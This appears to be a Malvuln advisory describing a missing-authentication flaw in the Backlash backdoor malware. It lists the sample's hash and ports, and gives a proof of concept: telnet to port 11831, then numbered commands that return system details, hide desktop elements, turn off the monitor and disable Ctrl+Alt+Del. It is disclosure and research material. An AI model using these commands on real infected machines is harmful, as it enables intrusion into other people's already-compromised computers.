Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Backlash.101  
Vulnerability: Missing Authentication  
Description: BackLash Server 1.0 Alpha drops an executable named "d3d8thk.exe" under Windows dir and listens on TCP ports 11831 and 29559. Telnet to port 11831 allows anyone to retrieve basic system information and run some of the malwares built-in commands on the infected host.  
Type: PE32  
MD5: 4ba3c08d8ad964328f2b6f618f714df2  
Vuln ID: MVID-2021-0085  
Dropped files: d3d8thk.exe  
Disclosure: 02/12/2021  
TELNET x.x.x.x 11831  
Enter the number 1 and hit enter and we see some system information returned.  
1001Windows folder: C:\WINDOWS   
System folder: C:\WINDOWS\system32   
Product Key:   
Product Id:   
Cpu: Intel64 Family 6 Model 158 Stepping 9   
Temp folder: C:\Users\victim\AppData\Local\Temp\   
Windows version: Windows NT 6.2 9200   
Minutes in windows: 157   
Computer name: DESKTOP-6BLAHNO   
User name: victim   
Windows language: English (United States)   
Resolution: 1503x819   
NumLock state: Off   
CapsLock state: On   
ScrollLock state: Off   
Play sounds: Yes   
Free disk space: 2,774,273,536   
Local host: DESKTOP-6BLAHNO   
Clients connected: 1   
Continue entering numbers 2 - 9 and so forth.  
2000 All icons in desktop are hidden now...  
3000 Start button is hidden now...   
4000 Taskbar is hidden now...   
5000 Task icons are hidden now...   
6000 Task clock is hidden now...  
7000 Monitor is off now...  
8000 Ctrl+Alt+Del disabled...  
9000 ScrollLock is off now...  
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